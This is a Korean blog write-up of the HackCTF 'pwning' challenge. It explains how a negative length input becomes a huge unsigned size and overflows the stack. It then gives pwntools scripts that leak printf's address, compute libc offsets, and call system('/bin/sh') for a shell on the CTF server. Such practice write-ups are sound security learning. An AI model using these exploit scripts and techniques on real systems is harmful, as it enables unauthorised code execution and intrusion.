[HackCTF] :pwn: pwning

두비니

·

2021. 3. 27. 02:31

 

 

 

고고

 

main함수는 바로 vuln함수로 뛰어서 생략!

 

함수의 전체적인 흐름은 입력하고 싶은 바이트수만큼 입력을 받고, 요청한 만큼 출력을 시켜주는 것으로 보입니다.

 

근데 입력받는 함수가 평소에 자주쓰는 gets가 아니라 사용자 지정함수네요. 직접 봅시다

 

값을 입력받아서 하나씩 버퍼에 입력을 해주는 방식이네요.

while루프를 빠져나가는 조건은 v4에 값이 할당이 안되었을 경우, \n이 입력된 경우, 그리고 크기가 음수인 경우네요.

근데 a2를 보면 unsigned int인 점을 볼 수 있습니다. 즉, 처음 get_n에서 &nptr에 음수를 입력하면, 두번째 get_n에 음수가 unsigned int로 바뀌면서 결론적으로 0x20보다 훨씬 더 큰 값을 넣을 수 있다는 점을 알 수 있습니다.

 

굳굳

이걸가지고 그냥 rop하면 될 것 같네용

다만 주의할 점은 nptr에 입력되는거여서 vuln기준으로 작성해야합니다.

 

따로 libc를 주지 않았기때문에 일단 leak을 한 뒤에 찾아봐야 할 것 같네요

 

from pwn import *

context.log_level = 'debug'
#p = remote("ctf.j0n9hyun.xyz", 3019)
p = process("./pwning")
e = ELF("./pwning")

#GADGETS#
printf_plt = e.plt['printf']
printf_got = e.got['printf']
pr = 0x8048676
main = e.symbols['main']
p.sendline("-1")
p.recvuntil("data!\n")

#LEAK + BACK TO MAIN#
r = "A"*(0x2C+0x4)
r += p32(printf_plt)
r += p32(pr)
r += p32(printf_got)

r += p32(main)

p.sendline(r)
p.recvuntil("\n")
printf_addr = u32(p.recv()[:4])
log.info("printf_addr = 0x%x" % printf_addr)

p.interactive()

 

 

이제 blukat으로 찾아봅시다

마저 코드를 작성해봅시다

from pwn import *

#context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz", 3019)
#p = process("./pwning")
e = ELF("./pwning")

#GADGETS#
printf_plt = e.plt['printf']
printf_got = e.got['printf']
pr = 0x8048676
main = e.symbols['main']
p.sendline("-1")
p.recvuntil("data!\n")

#LEAK + BACK TO MAIN#
r = "A"*(0x2C+0x4)
r += p32(printf_plt)
r += p32(pr)
r += p32(printf_got)

r += p32(main)

p.sendline(r)
p.recvuntil("\n")
printf_addr = u32(p.recv()[:4])
log.info("printf_addr = 0x%x" % printf_addr)

libc_base = printf_addr - 0x049020
system_addr = libc_base + 0x03a940
binsh_addr = libc_base + 0x15902b
log.info("system_addr = 0x%x" % system_addr)
log.info("binsh_addr = 0x%x" % binsh_addr)

#system(&binsh)#
r = "A"*(0x2C+0x4)
r += p32(system_addr)
r += "AAAA"
r += p32(binsh_addr)

p.sendline("-1")
p.recvuntil("data!\n")
p.sendline(r)
p.interactive()

 

 

'War Games > HackCTF' 카테고리의 다른 글

[HackCTF] :pwn: ROP  (0) 2021.04.01
[HackCTF] :pwn: uaf  (0) 2021.03.30
[HackCTF] :rev: static  (0) 2021.03.25
[HackCTF] :pwn: gift  (0) 2021.03.24
[HackCTF] :pwn: Look at me  (0) 2021.03.23